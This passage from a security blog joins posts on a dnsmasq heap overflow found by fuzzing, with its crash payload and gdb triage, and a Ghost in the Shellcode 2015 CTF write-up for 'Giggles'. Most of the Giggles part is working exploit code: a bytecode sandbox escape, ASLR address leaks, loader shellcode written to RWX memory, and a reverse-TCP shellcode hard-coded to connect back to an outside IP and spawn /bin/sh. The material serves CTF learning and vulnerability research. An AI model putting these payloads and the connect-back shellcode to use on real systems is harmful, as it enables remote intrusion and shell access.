    return 0;
  }
  for(j=0; j<l; j++, p++)
  {
    unsigned char c = *p;
    if (c != 0 && c != '.')
      *cp++ = c;
    else
      return 0;
  }
  *cp++ = '.';

This code runs for each segment that starts with a value less than 64 ("google" and "com", for example).

At the start, l is the length of the segment (so 6 in the case of "google"). It adds that to the current TOTAL length - namelen - then checks if it's too long - this is the check that prevents a buffer overflow.

Then it reads in l bytes, one at a time, and copies them into a buffer - cp - which happens to be on the heap. the namelen check prevents that from overflowing.

Then it copies a period into the buffer and doesn't increment namelen.

Do you see the problem there? It adds l to the total length of the buffer, then it reads in l + 1 bytes, counting the period. Oops?

It turns out, you can mess around with the length and size of substrings quite a bit to get a lot of control over what's written where, but exploiting it is as simple as doing a lookup for "\x08AAAAAAAA\xc0\x0c":

$ echo -ne '\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x08AAAAAAAA\xc0\x0c\x00\x00\x01\x00\x01' > crash.bin
$ ./dnsmasq -d --randomize-port --client-fuzz=./crash.bin
[...]
Segmentation fault

However, there are two termination conditions: it'll only loop a grand total of 255 times, and it stops after namelen reaches 1024 (non-period) bytes. So coming up with the best possible balance to overwrite what you want is actually pretty tricky - possibly even requires a bit of calculus (or, if you're an engineer, a program that can optimize it for you :) ).

I should also mention: the reason the "\xc0\x0c" is needed in the first place is that it's impossible to have a name string in that's 1024 bytes - somewhere along the line, it runs afoul of a length check. The "\xc0\x0c" method lets us repeat stuff over and over, sort of like decompressing a small string into memory, overflowing the buffer.

Exploitability

I mentioned earlier that it's a null-pointer deref:

(gdb) x/i $rip
=> 0x7ffff73cc600 <__strcpy_sse2+192>:  mov    BYTE PTR [rdx],al
(gdb) print/x $rdx
$1 = 0x0

Let's try again with the crash.bin file we just created, using "\x08AAAAAAAA\xc0\x0c" as the payload:

$ echo -ne '\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x08AAAAAAAA\xc0\x0c\x00\x00\x01\x00\x01' > crash.bin
$ gdb -q --args ./dnsmasq -d --randomize-port --client-fuzz=./crash.bin
[...]
(gdb) run
[...]
(gdb) x/i $rip
=> 0x449998 <answer_request+1064>:      mov    DWORD PTR [rdx+0x20],0x0
(gdb) print/x $rdx
$1 = 0x4141412e41414141

Woah.. that's not a null-pointer dereference! That's a write-NUL-byte-to-arbitrary-memory! Those might be exploitable!

As I mentioned earlier, this is actually a heap overflow. The interesting part is, the heap memory is allocated once - immediately after the program starts - and right after, a heap for the global settings object (daemon) is allocated. That means that we have effectively full control of this object, at least the first couple hundred bytes:

extern struct daemon {
  /* datastuctures representing the command-line and.
     config file arguments. All set (including defaults)
     in option.c */

  unsigned int options, options2;
  struct resolvc default_resolv, *resolv_files;
  time_t last_resolv;
  char *servers_file;
  struct mx_srv_record *mxnames;
  struct naptr *naptr;
  struct txt_record *txt, *rr;
  struct ptr_record *ptr;
  struct host_record *host_records, *host_records_tail;
  struct cname *cnames;
  struct auth_zone *auth_zones;
  struct interface_name *int_names;
  char *mxtarget;
  int addr4_netmask;
  int addr6_netmask;
  char *lease_file;.
  char *username, *groupname, *scriptuser;
  char *luascript;
  char *authserver, *hostmaster;
  struct iname *authinterface;
  struct name_list *secondary_forward_server;
  int group_set, osport;
  char *domain_suffix;
  struct cond_domain *cond_domain, *synth_domains;
  char *runfile;.
  char *lease_change_command;
  struct iname *if_names, *if_addrs, *if_except, *dhcp_except, *auth_peers, *tftp_interfaces;
  struct bogus_addr *bogus_addr, *ignore_addr;
  struct server *servers;
  struct ipsets *ipsets;
  int log_fac; /* log facility */
  char *log_file; /* optional log file */                                                                                                              int max_logs;  /* queue limit */
  int cachesize, ftabsize;
  int port, query_port, min_port;
  unsigned long local_ttl, neg_ttl, max_ttl, min_cache_ttl, max_cache_ttl, auth_ttl;
  struct hostsfile *addn_hosts;
  struct dhcp_context *dhcp, *dhcp6;
  struct ra_interface *ra_interfaces;
  struct dhcp_config *dhcp_conf;
  struct dhcp_opt *dhcp_opts, *dhcp_match, *dhcp_opts6, *dhcp_match6;
  struct dhcp_vendor *dhcp_vendors;
  struct dhcp_mac *dhcp_macs;
  struct dhcp_boot *boot_config;
  struct pxe_service *pxe_services;
  struct tag_if *tag_if;.
  struct addr_list *override_relays;
  struct dhcp_relay *relay4, *relay6;
  int override;
  int enable_pxe;
  int doing_ra, doing_dhcp6;
  struct dhcp_netid_list *dhcp_ignore, *dhcp_ignore_names, *dhcp_gen_names;.
  struct dhcp_netid_list *force_broadcast, *bootp_dynamic;
  struct hostsfile *dhcp_hosts_file, *dhcp_opts_file, *dynamic_dirs;
  int dhcp_max, tftp_max;
  int dhcp_server_port, dhcp_client_port;
  int start_tftp_port, end_tftp_port;.
  unsigned int min_leasetime;
  struct doctor *doctors;
  unsigned short edns_pktsz;
  char *tftp_prefix;.
  struct tftp_prefix *if_prefix; /* per-interface TFTP prefixes */
  unsigned int duid_enterprise, duid_config_len;
  unsigned char *duid_config;
  char *dbus_name;
  unsigned long soa_sn, soa_refresh, soa_retry, soa_expiry;
#ifdef OPTION6_PREFIX_CLASS.
  struct prefix_class *prefix_classes;
#endif
#ifdef HAVE_DNSSEC
  struct ds_config *ds;
  char *timestamp_file;
#endif

  /* globally used stuff for DNS */
  char *packet; /* packet buffer */
  int packet_buff_sz; /* size of above */
  char *namebuff; /* MAXDNAME size buffer */
#ifdef HAVE_DNSSEC
  char *keyname; /* MAXDNAME size buffer */
  char *workspacename; /* ditto */
#endif
  unsigned int local_answer, queries_forwarded, auth_answer;
  struct frec *frec_list;
  struct serverfd *sfds;
  struct irec *interfaces;
  struct listener *listeners;
  struct server *last_server;
  time_t forwardtime;
  int forwardcount;
  struct server *srv_save; /* Used for resend on DoD */
  size_t packet_len;       /*      "        "        */
  struct randfd *rfd_save; /*      "        "        */
  pid_t tcp_pids[MAX_PROCS];
  struct randfd randomsocks[RANDOM_SOCKS];
  int v6pktinfo;.
  struct addrlist *interface_addrs; /* list of all addresses/prefix lengths associated with all local interfaces */
  int log_id, log_display_id; /* ids of transactions for logging */
  union mysockaddr *log_source_addr;

  /* DHCP state */
  int dhcpfd, helperfd, pxefd;.
#ifdef HAVE_INOTIFY
  int inotifyfd;
#endif
#if defined(HAVE_LINUX_NETWORK)
  int netlinkfd;
#elif defined(HAVE_BSD_NETWORK)
  int dhcp_raw_fd, dhcp_icmp_fd, routefd;
#endif
  struct iovec dhcp_packet;
  char *dhcp_buff, *dhcp_buff2, *dhcp_buff3;
  struct ping_result *ping_results;
  FILE *lease_stream;
  struct dhcp_bridge *bridges;
#ifdef HAVE_DHCP6
  int duid_len;
  unsigned char *duid;
  struct iovec outpacket;
  int dhcp6fd, icmp6fd;
#endif
  /* DBus stuff */
  /* void * here to avoid depending on dbus headers outside dbus.c */
  void *dbus;
#ifdef HAVE_DBUS
  struct watch *watches;
#endif

  /* TFTP stuff */
  struct tftp_transfer *tftp_trans, *tftp_done_trans;

  /* utility string buffer, hold max sized IP address as string */
  char *addrbuff;
  char *addrbuff2; /* only allocated when OPT_EXTRALOG */
} *daemon;

I haven't measured how far into that structure you can write, but the total number of bytes we can write into the 1024-byte buffer is 1368 bytes, so somewhere in the realm of the first 300 bytes are at risk.

The reason we saw a "null pointer dereference" and also a "write NUL byte to arbitrary memory" are both because we overwrote variables from that structure that are used later.

Patch

The patch is pretty straight forward: add 1 to namelen for the periods. There was a second version of the same vulnerability (forgotten period) in the 0x40 handler as well.

But..... I'm concerned about the whole idea of building a string and tracking the length next to it. That's a dangerous design pattern, and the chances of regressing when modifying any of the name parsing is high.

Exploit so-far

I started writing an exploit for it. Before I stopped, I basically found a way to brute-force build a string that would overwrite an arbitrary number of bytes by adding the right amount of padding and the right number of periods. That turned out to be a fairly difficult job, because there are various things you have to juggle (the padding at the front of the string and the size of the repeated field). It turns out, the maximum length you can get is 1368 bytes put into a 1024-byte buffer.

You can download it here.

...why it never got famous

I held this back throughout the blog because it's the sad part. :)

It turns out, since I was working from the git HEAD version, it was brand new code. After bissecting versions to figure out where the vulnerable code came from, I determined that it was present only in 2.73rc5 - 2.73rc7. After I reported it, the author rolled out 2.73rc8 with the fix.

It was disappointing, to say the least, but on the plus side the process was interesting enough to write about! :)

Conclusion

So to summarize everything...

  • I modified dnsmasq to read packets from a file instead of the network, then used afl-fuzz to fuzz and crash it.
  • I found a vulnerability that was recently introduced, when parsing "\xc0\x0c" names + using periods.
  • I triaged the vulnerability, and started writing an exploit.
  • Determined that the vulnerability was in brand new code, so I gave up on the exploit and decided to write a blog instead.

And who knows, maybe somebody will develop one for fun? If anybody does, I'll give them a month of Reddit Gold!!!! :)

(I'm kidding about using that as a motivator, but I'll really do it if anybody bothers :P)

GitS 2015: Giggles (off-by-one virtual machine)

Welcome to part 3 of my Ghost in the Shellcode writeup! Sorry for the delay, I actually just moved to Seattle. On a sidenote, if there are any Seattle hackers out there reading this, hit me up and let's get a drink!

Now, down to business: this writeup is about one of the Pwnage 300 levels; specifically, Giggles, which implements a very simple and very vulnerable virtual machine. You can download the binary here, the source code here (with my comments - I put XXX near most of the vulnerabilities and bad practices I noticed), and my exploit here.

One really cool aspect of this level was that they gave source code, a binary with symbols, and even a client (that's the last time I'll mention their client, since I dislike Python :) )! That means we could focus on exploitation and not reversing!

The virtual machine

I'll start by explaining how the virtual machine actually works. If you worked on this level yourself, or you don't care about the background, you can just skip over this section.

Basically, there are three operations: TYPE_ADDFUNC, TYPE_VERIFY, and TYPE_RUNFUNC.

The usual process is that the user adds a function using TYPE_ADDFUNC, which is made up of one (possibly zero?) or more operations. Then the user verifies the function, which checks for bounds violations and stuff like that. Then if that succeeds, the user can run the function. The function can take up to 10 arguments and output as much as it wants.

There are only seven different opcodes (types of operations), and one of the tricky parts is that none of them deal with absolute values—only other registers. They are:

  • OP_ADD reg1, reg2 - add two registers together, and store the result in reg1
  • OP_BR <addr> - branch (jump) to a particular instruction - the granularity of these jumps is actually per-instruction, not per-byte, so you can't jump into the middle of another instruction, which ruined my initial instinct :(
  • OP_BEQ <addr> <reg1> <reg2> / OP_BGT <addr> <reg1> <reg2> - branch if equal and branch if greater than are basically the same as OP_BR, except the jumps are conditional
  • OP_MOV <reg1> <reg2< - set reg1 to equal reg2
  • OP_OUT <reg> - output a register (gets returned as a hex value by RUNFUNC)
  • OP_EXIT - terminate the function

To expand on the output just a bit - the program maintains the output in a buffer that's basically a series of space-separated hex values. At the end of the program (when it either terminates or OP_EXIT is called), it's sent back to the client. I was initially worried that I would have to craft some hex-with-spaces shellcode, but thankfully that wasn't necessary. :)

There are 10 different registers that can be accessed. Each one is 32 bits. The operand values, however, are all 64-bit values.

The verification process basically ensures that the registers and the addresses are mostly sane. Once it's been validated, a flag is switched and the function can be called. If you call the function before verifying it, it'll fail immediately. If you can use arbitrary bytecode instructions, you'd be able to address register 1000000, say, and read/write elsewhere in memory. They wanted to prevent that.

Speaking of the vulnerability, the bug that leads to full code execution is in the verify function - can you find it before I tell you?

The final thing to mention is arguments: when you call TYPE_RUNFUNC, you can pass up to I think 10 arguments, which are 32-bit values that are placed in the first 8 registers.

Fixing the binary

I've gotten pretty efficient at patching binaries for CTFs! I've talked about this before, so I'll just mention what I do briefly.

I do these things immediately, before I even start working on the challenge:

  • Replace the call to alarm() with NOPs
  • Replace the call to fork() with "xor eax, eax", followed by NOPs
  • Replace the call to drop_privs() with NOPs
  • (if I can find it)

That way, the process won't be killed after a timeout, and I can debug it without worrying about child processes holding onto ports and other irritations. NOPing out drop_privs() means I don't have to worry about adding a user or running it as root or creating a folder for it. If you look at the objdump outputs diffed, here's what it looks like:

--- a   2015-01-27 13:30:29.000000000 -0800
+++ b   2015-01-27 13:30:31.000000000 -0800
@@ -1,5 +1,5 @@

-giggles:     file format elf64-x86-64
+giggles-fixed:     file format elf64-x86-64


 Disassembly of section .interp:
@@ -1366,7 +1366,10 @@
     125b:      83 7d f4 ff             cmp    DWORD PTR [rbp-0xc],0xffffffff
     125f:      75 02                   jne    1263 <loop+0x3d>
     1261:      eb 68                   jmp    12cb <loop+0xa5>
-    1263:      e8 b8 fc ff ff          call   f20 <fork@plt>
+    1263:      31 c0                   xor    eax,eax
+    1265:      90                      nop
+    1266:      90                      nop
+    1267:      90                      nop
     1268:      89 45 f8                mov    DWORD PTR [rbp-0x8],eax
     126b:      83 7d f8 ff             cmp    DWORD PTR [rbp-0x8],0xffffffff
     126f:      75 02                   jne    1273 <loop+0x4d>
@@ -1374,14 +1377,26 @@
     1273:      83 7d f8 00             cmp    DWORD PTR [rbp-0x8],0x0
     1277:      75 48                   jne    12c1 <loop+0x9b>
     1279:      bf 1e 00 00 00          mov    edi,0x1e
-    127e:      e8 6d fb ff ff          call   df0 <alarm@plt>
+    127e:      90                      nop
+    127f:      90                      nop
+    1280:      90                      nop
+    1281:      90                      nop
+    1282:      90                      nop
     1283:      48 8d 05 b6 1e 20 00    lea    rax,[rip+0x201eb6]        # 203140 <USER>
     128a:      48 8b 00                mov    rax,QWORD PTR [rax]
     128d:      48 89 c7                mov    rdi,rax
-    1290:      e8 43 00 00 00          call   12d8 <drop_privs_user>
+    1290:      90                      nop
+    1291:      90                      nop
+    1292:      90                      nop
+    1293:      90                      nop
+    1294:      90                      nop
     1295:      8b 45 ec                mov    eax,DWORD PTR [rbp-0x14]
     1298:      89 c7                   mov    edi,eax

I just use a simple hex editor on Windows, xvi32.exe, to take care of that. But you can do it in countless other ways, obviously.

What's wrong with verifyBytecode()?

Have you found the vulnerability yet?

I'll give you a hint: look at the comparison operators in this function:

int verifyBytecode(struct operation * bytecode, unsigned int n_ops)
{
    unsigned int i;
    for (i = 0; i < n_ops; i++)
    {
        switch (bytecode[i].opcode)
        {
            case OP_MOV:
            case OP_ADD:
                if (bytecode[i].operand1 > NUM_REGISTERS)
                    return 0;
                else if (bytecode[i].operand2 > NUM_REGISTERS)
                    return 0;
                break;
            case OP_OUT:
                if (bytecode[i].operand1 > NUM_REGISTERS)
                    return 0;
                break;
            case OP_BR:
                if (bytecode[i].operand1 > n_ops)
                    return 0;
                break;
            case OP_BEQ:
            case OP_BGT:
                if (bytecode[i].operand2 > NUM_REGISTERS)
                    return 0;
                else if (bytecode[i].operand3 > NUM_REGISTERS)
                    return 0;
                else if (bytecode[i].operand1 > n_ops)
                    return 0;
                break;
            case OP_EXIT:
                break;
            default:
                return 0;
        }
    }
    return 1;
}

Notice how it checks every operation? It checks if the index is greater than the maximum value. That's an off-by-one error. Oops!

Information leak

There are actually a lot of small issues in this code. The first good one I noticed was actually that you can output one extra register. Here's what I mean (grab my exploit if you want to understand the API):

def demo()
  s = TCPSocket.new(SERVER, PORT)

  ops = []
  ops << create_op(OP_OUT, 10)
  add(s, ops)
  verify(s, 0)
  result = execute(s, 0, [])

  pp result
end

The output of that operation is:
"42fd35d8 "

Which, it turns out, is a memory address that's right after a "call" function. A return address!? Can it be this easy!?

It turns out that, no, it's not that easy. While I can read / write to that address, effectively bypasing ASLR, it turned out to be some left-over memory from an old call. I didn't even end up using that leak, either, I found a better one!

The actual vulnerabilitiy

After finding the off-by-one bug that let me read an extra register, I didn't really think much more about it. Later on, I came back to the verifyBytecode() function and noticed that the BR/BEQ/BGT instructions have the exact same bug! You can branch to the last instruction + 1, where it keeps running unverified memory as if it's bytecode!

What comes after the last instruction in memory? Well, it turns out to be a whole bunch of zeroes (00 00 00 00...), then other functions you've added, verified or otherwise. An instruction is 26 bytes long in memory (two bytes for the opcode, and three 64-bit operands), and the instruction "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" actually maps to "add reg0, reg0", which is nice and safe to do over and over again (although it does screw up the value in reg0).

Aligning the interpreter

At this point, it got a bit complicated. Sure, I'd found a way to break out of the sandbox to run unverified code, but it's not as straight forward as you might think.

The problem? The spacing of the different "functions" in memory (that is, groups of operations) aren't multiples of 26 bytes apart, thanks to headers, so if you break out of one function and into another, you wind up trying to execute bytecode that's somewhat offset.

In other words, if your second function starts at address 0, the interpreter tries to run the bytecode at -12 (give or take). The bytecode at -12 just happens to be the number of instructions in the function, so the first opcode is actually equal to the number of operations (so if you have three operations in the function, the first operation will be opcode 3, or BEQ). Its operands are bits and pieces of the opcodes and operands. Basically, it's a big mess.

To get this working, I wanted to basically just skip over that function altogether and run the third function (which would hopefully be a little better aligned). Basically, I wanted the function to do nothing dangerous, then continue on to the third function.

Here's the code I ended up writing (sorry the formatting isn't great, check out the exploit I linked above to see it better):

# This creates a valid-looking bytecode function that jumps out of bounds,
# then a non-validated function that puts us in a more usable bytecode
# escape
def init()
  puts("[*] Connecting to #{SERVER}:#{PORT}")
  s = TCPSocket.new(SERVER, PORT)
  #puts("[*] Connected!")

  ops = []

  # This branches to the second instruction - which doesn't exist
  ops << create_op(OP_BR, 1)
  add(s, ops)
  verify(s, 0)

  # This little section takes some explaining. Basically, we've escaped the bytecode
  # interpreter, but we aren't aligned properly. As a result, it's really irritating
  # to write bytecode (for example, the code of the first operation is equal to the
  # number of operations!)
  #
  # Because there are 4 opcodes below, it performs opcode 4, which is 'mov'. I ensure
  # that both operands are 0, so it does 'mov reg0, reg0'.
  #
  # After that, the next one is a branch (opcode 1) to offset 3, which effectively
  # jumps past the end and continues on to the third set of bytecode, which is out
  # ultimate payload.

  ops = []
  # (operand = count)
  #                  |--|               |---|                                          <-- inst1 operand1 (0 = reg0)
  #                          |--------|                    |----|                      <-- inst1 operand2 (0 = reg0)
  #                                                                        |--|        <-- inst2 opcode (1 = br)
  #                                                                  |----|            <-- inst2 operand1
  ops << create_op(0x0000, 0x0000000000000000, 0x4242424242000000, 0x00003d0001434343)
  #                  |--|              |----|                                          <-- inst2 operand1
  ops << create_op(0x0000, 0x4444444444000000, 0x4545454545454545, 0x4646464646464646)
  # The values of these don't matter, as long as we still have 4 instructions
  ops << create_op(0xBBBB, 0x4747474747474747, 0x4848484848484848, 0x4949494949494949)
  ops << create_op(0xCCCC, 0x4a4a4a4a4a4a4a4a, 0x4b4b4b4b4b4b4b4b, 0x4c4c4c4c4c4c4c4c)

  # Add them
  add(s, ops)

  return s
end

The comments explain it pretty well, but I'll explain it again. :)

The first opcode in the unverified function is, as I mentioned, equal to the number of operations. We create a function with 4 operations, which makes it a MOV instruction. Performing a MOV is pretty safe, especially since reg0 is already screwed up.

The two operands to instruction 1 are parts of the opcodes and operands of the first function. And the opcode for the second instruction is part of third operand in the first operation we create. Super confusing!

Effectively, this ends up running:

mov reg0, reg0
br 0x3d
; [bad instructions that get skipped]

I'm honestly not sure why I chose 0x3d as the jump distance, I suspect it's just a number that I was testing with that happened to work. The instructions after the BR don't matter, so I just fill them in with garbage that's easy to recognize in a debugger.

So basically, this function just does nothing, effectively, which is exactly what I wanted.

Getting back in sync

I hoped that the third function would run perfectly, but because of math, it still doesn't. However, the operation count no longer matters in the third function, which is good enough for me! After doing some experiments, I determined that the instructions are unaligned by 0x10 (16) bytes. If you pad the start with 0x10 bytes then add instructions as normal, they'll run completely unverified.

To build the opcodes for the third function, I added a parameter to the add() function that lets you offset things:

#[...]
  # We have to cleanly exit
  ops << create_op(OP_EXIT)

  # Add the list of ops, offset by 10 (that's how the math worked out)
  add(s, ops, 16)
#[...]

Now you can run entirely unverified bytecode instructions! That means full read/write/execute of arbitrary addresses relative to the base address of the registers array. That's awesome! Because the registers array is on the stack, we have read/write access relative to a stack address. That means you can trivially read/write the return address and leak addresses of the binary, libc, or anything you want. ASLR bypass and RIP control instantly!

Leaking addresses

There are two separate sets of addresses that need to be leaked. It turns out that even though ASLR is enabled, the addresses don't actually randomize between different connections, so I can leak addresses, reconnect, leak more addresses, reconnect, and run the exploit. It's not the cleanest way to solve the level, but it worked! If this didn't work, I could have written a simple multiplexer bytecode function that does all these things using the same function.

I mentioned I can trivially leak the binary address and a stack address. Here's how:

# This function leaks two addresses: a stack address and the address of
# the binary image (basically, defeating ASLR)
def leak_addresses()
  puts("[*] Bypassing ASLR by leaking stack/binary addresses")
  s = init()

  # There's a stack address at offsets 24/25
  ops = []
  ops << create_op(OP_OUT, 24)
  ops << create_op(OP_OUT, 25)

  # 26/27 is the return address, we'll use it later as well!
  ops << create_op(OP_OUT, 26)
  ops << create_op(OP_OUT, 27)

  # We have to cleanly exit
  ops << create_op(OP_EXIT)

  # Add the list of ops, offset by 10 (that's how the math worked out)
  add(s, ops, 16)

  # Run the code
  result = execute(s, 0, [])

  # The result is a space-delimited array of hex values, convert it to
  # an array of integers
  a = result.split(/ /).map { |str| str.to_i(16) }

  # Read the two values in and do the math to calculate them
  @@registers = ((a[1] << 32) | (a[0])) - 0xc0
  @@base_addr = ((a[3] << 32) | (a[2])) - 0x1efd

  # User output
  puts("[*] Found the base address of the register array: 0x#{@@registers.to_s(16)}")
  puts("[*] Found the base address of the binary: 0x#{@@base_addr.to_s(16)}")

  s.close
end

Basically, we output registers 24, 25, 26, and 27. Since the OUT function is 4 bytes, you have to call OUT twice to leak a 64-bit address.

Registers 24 and 25 are an address on the stack. The address is 0xc0 bytes above the address of the registers variable (which is the base address of our overflow, and therefore needed for calculating offsets), so we subtract that. I determined the 0xc0 value using a debugger.

Registers 26 and 27 are the return address of the current function, which happens to be 0x1efd bytes into the binary (determined with IDA). So we subtract that value from the result and get the base address of the binary.

I also found a way to leak a libc address here, but since I never got a copy of libc I didn't bother keeping that code around.

Now that we have the base address of the binary and the address of the registers, we can use the OUT and MOV operations, plus a little bit of math, to read and write anywhere in memory.

Quick aside: getting enough sleep

You may not know this, but I work through CTF challenges very slowly. I like to understand every aspect of everything, so I don't rush. My secret is, I can work tirelessly at these challenges until they're complete. But I'll never win a race.

I got to this point at around midnight, after working nearly 10 hours on this challenge. Most CTFers will wonder why it took 10 hours to get here, so I'll explain again: I work slowly. :)

The problem is, I forgot one very important fact: that the operands to each operation are all 64-bit values, even though the arguments and registers themselves are 32-bit. That means we can calculate an address from the register array to anywhere in memory. I thought they were 32 bit, however, and since the process is 64-bit Ii'd be able to read/write the stack, but not addresses the binary! That wasn't true, I could write anywhere, but I didn't know that. So I was trying a bunch of crazy stack stuff to get it working, but ultimately failed.

At around 2am I gave up and played video games for an hour, then finished the book I was reading. I went to bed about 3:30am, still thinking about the problem. Laying in bed about 4am, it clicked in that register numbers could be 64-bit, so I got up and finished it up for about 7am. :)

The moral of this story is: sometimes it pays to get some rest when you're struggling with a problem!

+rwx memory!?

The authors of the challenge must have been feeling extremely generous: they gave us a segment of memory that's readable, writeable, and executable! You can write code to it then run it! Here's where it's declared:

void * JIT;     // TODO: add code to JIT functions

//[...]

    /* Map 4096 bytes of executable memory */
    JIT = mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

A pointer to the memory is stored in a global variable. Since we have the ability to read an arbitrary address—once I realized my 64-bit problem—it was pretty easy to read the pointer:

def leak_rwx_address()
  puts("[*] Attempting to leak the address of the mmap()'d +rwx memory...")
  s = init()

  # This offset is always constant, from the binary
  jit_ptr = @@base_addr + 0x20f5c0

  # Read both halves of the address - the read is relative to the stack-
  # based register array, and has a granularity of 4, hence the math
  # I'm doing here
  ops = []
  ops << create_op(OP_OUT, (jit_ptr - @@registers) / 4)
  ops << create_op(OP_OUT, ((jit_ptr + 4) - @@registers) / 4)
  ops << create_op(OP_EXIT)
  add(s, ops, 16)
  result = execute(s, 0, [])

  # Convert the result from a space-delimited hex list to an integer array
  a = result.split(/ /).map { |str| str.to_i(16) }

  # Read the address
  @@rwx_addr = ((a[1] << 32) | (a[0]))

  # User output
  puts("[*] Found the +rwx memory: 0x#{@@rwx_addr.to_s(16)}")

  s.close
end

Basically, we know the pointer to the JIT code is at the base_addr + 0x20f5c0 (determined with IDA). So we do some math with that address and the base address of the registers array (dividing by 4 because that's the width of each register).

Finishing up

Now that we can run arbitrary bytecode instructions, we can read, write, and execute any address. But there was one more problem: getting the code into the JIT memory.

It seems pretty straight forward, since we can write to arbitrary memory, but there's a problem: you don't have any absolute values in the assembly language, which means I can't directly write a bunch of values to memory. What I could do, however, is write values from registers to memory, and I can set the registers by passing in arguments.

BUT, reg0 gets messed up and two registers are wasted because I have to use them to overwrite the return address. That means I have 7 32-bit registers that I can use.

What you're probably thinking is that I can implement a multiplexer in their assembly language. I could have some operands like "write this dword to this memory address" and build up the shellcode by calling the function multiple times with multiple arguments.

If you're thinking that, then you're sharper than I was at 7am with no sleep! I decided that the best way was to write a shellcode loader in 24 bytes. I actually love writing short, custom-purpose shellcode, there's something satisfying about it. :)

Here's my loader shellcode:

  # Create some loader shellcode. I'm not proud of this - it was 7am, and I hadn't
  # slept yet. I immediately realized after getting some sleep that there was a
  # way easier way to do this...
  params =
    # param0 gets overwritten, just store crap there
    "\x41\x41\x41\x41" +

    # param1 + param2 are the return address
    [@@rwx_addr & 0x00000000FFFFFFFF, @@rwx_addr >> 32].pack("II") +

    # ** Now, we build up to 24 bytes of shellcode that'll load the actual shellcode

    # Decrease ECX to a reasonable number (somewhere between 200 and 10000, doesn't matter)
    "\xC1\xE9\x10" +  # shr ecx, 10

    # This is where the shellcode is read from - to save a couple bytes (an absolute move is 10
    # bytes long!), I use r12, which is in the same image and can be reached with a 4-byte add
    "\x49\x8D\xB4\x24\x88\x2B\x20\x00" + # lea rsi,[r12+0x202b88]

    # There is where the shellcode is copied to - immediately after this shellcode
    "\x48\xBF" + [@@rwx_addr + 24].pack("Q") + # mov rdi, @@rwx_addr + 24

    # And finally, this moves the bytes over
    "\xf3\xa4" # rep movsb

  # Pad the shellcode with NOP bytes so it can be used as an array of ints
  while((params.length % 4) != 0)
    params += "\x90"
  end

  # Convert the shellcode to an array of ints
  params = params.unpack("I*")

Basically, the first three arguments are wasted (the first gets messed up and the next two are the return address). Then we set up a call to "rep movsb", with rsi, rdi, and rcx set appropriately (and complicatedly). You can see how I did that in the comments. All told, it's 23 bytes of machine code.

It took me a lot of time to get that working, though! Squeezing out every single byte! It basically copies the code from the next bytecode function (whose address I can calculate based on r12) to the address immediately after itself in the +RWX memory (which I can leak beforehand).

This code is written to the +RWX memory using these operations:

  ops = []

  # Overwrite teh reteurn address with the first two operations
  ops << create_op(OP_MOV, 26, 1)
  ops << create_op(OP_MOV, 27, 2)

  # This next bunch copies shellcode from the arguments into the +rwx memory
  ops << create_op(OP_MOV, ((@@rwx_addr + 0) - @@registers) / 4, 3)
  ops << create_op(OP_MOV, ((@@rwx_addr + 4) - @@registers) / 4, 4)
  ops << create_op(OP_MOV, ((@@rwx_addr + 8) - @@registers) / 4, 5)
  ops << create_op(OP_MOV, ((@@rwx_addr + 12) - @@registers) / 4, 6)
  ops << create_op(OP_MOV, ((@@rwx_addr + 16) - @@registers) / 4, 7)
  ops << create_op(OP_MOV, ((@@rwx_addr + 20) - @@registers) / 4, 8)
  ops << create_op(OP_MOV, ((@@rwx_addr + 24) - @@registers) / 4, 9)

Then I just convert the shellcode into a bunch of bytecode operators / operands, which will be the entirity of the fourth bytecode function (I'm proud to say that this code worked on the first try):

  # Pad the shellcode to the proper length
  shellcode = SHELLCODE
  while((shellcode.length % 26) != 0)
    shellcode += "\xCC"
  end

  # Now we create a new function, which simply stores the actual shellcode.
  # Because this is a known offset, we can copy it to the +rwx memory with
  # a loader
  ops = []

  # Break the shellcode into 26-byte chunks (the size of an operation)
  shellcode.chars.each_slice(26) do |slice|
    # Make the character array into a string
    slice = slice.join

    # Split it into the right proportions
    a, b, c, d = slice.unpack("SQQQ")

    # Add them as a new operation
    ops << create_op(a, b, c, d)
  end

  # Add the operations to a new function (no offset, since we just need to
  # get it stored, not run as bytecode)
  add(s, ops, 16)

And, for good measure, here's my 64-bit connect-back shellcode:

# Port 17476, chosen so I don't have to think about endianness at 7am at night :)
REVERSE_PORT = "\x44\x44"

# 206.220.196.59
REVERSE_ADDR = "\xCE\xDC\xC4\x3B"

# Simple reverse-tcp shellcode I always use
SHELLCODE = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a" +
"\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0" +
"\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24" +
"\x02" + REVERSE_PORT + "\xc7\x44\x24\x04" + REVERSE_ADDR + "\x48\x89\xe6\x6a\x10" +
"\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48" +
"\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" +
"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" +
"\x5f\x6a\x3b\x58\x0f\x05"

It's slightly modified from some code I found online. I'm mostly just including it so I can find it again next time I need it. :)

Conclusion

To summarize everything...

There was an off-by-one vulnerability in the verifyBytecode() function. I used that to break out of the sandbox and run unverified bytecode.

That bytecode allowed me to read/write/execute arbitrary memory. I used it to leak the base address of the binary, the base address of the register array (where my reads/writes are relative to), and the address of some +RWX memory.

I copied loader code into that +RWX memory, then ran it. It copied the next bytecode function, as actual machine code, to the +RWX memory.

Then I got a shell.

Hope that was useful!

GitS 2015: aart.php (race condition)

Welcome to my second writeup for Ghost in the Shellcode 2015! This writeup is for the one and only Web level, "aart" (download it). I wanted to do a writeup for this one specifically because, even though the level isn't super exciting, the solution was actually a pretty obscure vulnerability type that you don't generally see in CTFs: a race condition!

But we'll get to that after, first I want to talk about a wrong path that I spent a lot of time on. :)

The wrong path

If you aren't interested in the trial-and-error process, you can skip this section—don't worry, you won't miss anything useful.

